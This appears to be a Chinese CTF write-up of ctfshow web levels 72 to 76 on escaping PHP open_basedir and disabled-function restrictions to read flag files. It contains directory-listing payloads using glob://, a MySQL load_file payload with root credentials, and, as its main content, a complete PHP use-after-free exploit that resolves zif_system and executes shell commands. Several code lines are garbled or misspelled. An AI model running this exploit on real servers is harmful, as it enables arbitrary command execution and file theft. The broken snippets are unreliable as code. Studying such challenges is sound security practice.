搬上大佬的博客Bypass open_basedir
使用上一题的payload得不到flag，可以看到ini_set、var_dump函数都没有了，而且利用了open_basedir限制了目录的访问没有思路了，查看hint附hint代码：
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行可以看到，这个代码作用是用来发现flag所在位置，DirectoryIterator是在php5中增加的一个类，为用户提供一个简单的查看目录的接口。DirectoryIterator与glob://结合将无视open_basedir，列举出根目录下的文件，但是只会有根目录和open_basedir下的文件。使用opendir()+readdir()+glob://组合可以达到同样效果。可以看到是在flag0.txt.里。
然后进行下一步的读取操作，由于flag0.txt是不在open_basedir中的，因此就需要使用uaf脚本进行读取。附群主脚本
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) ;
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
即可拿到flag
web73
既然还有使用opendir()+readdir()+glob://组合拿目录的姿势，这次就试试这个,payload:c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "
"; };include("flagx.txt");exit(); ，拿到目录，这次不需要使用uaf脚本读取了，直接include('/flagc.txt');exit();拿到flag
不能读取的原因是在脚本中的strlen()函数禁止了，所以尝试使用新函数代替：
fuction str_lrngth($s){
return count(str_pliot($s));
}也可以读取到flag
web74
同上
we75
同上，但是这次需要连接数据库执行命令，看b站视频嫖的数据库信息。payload:c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
web76
同上，文件改为flag36d.txt
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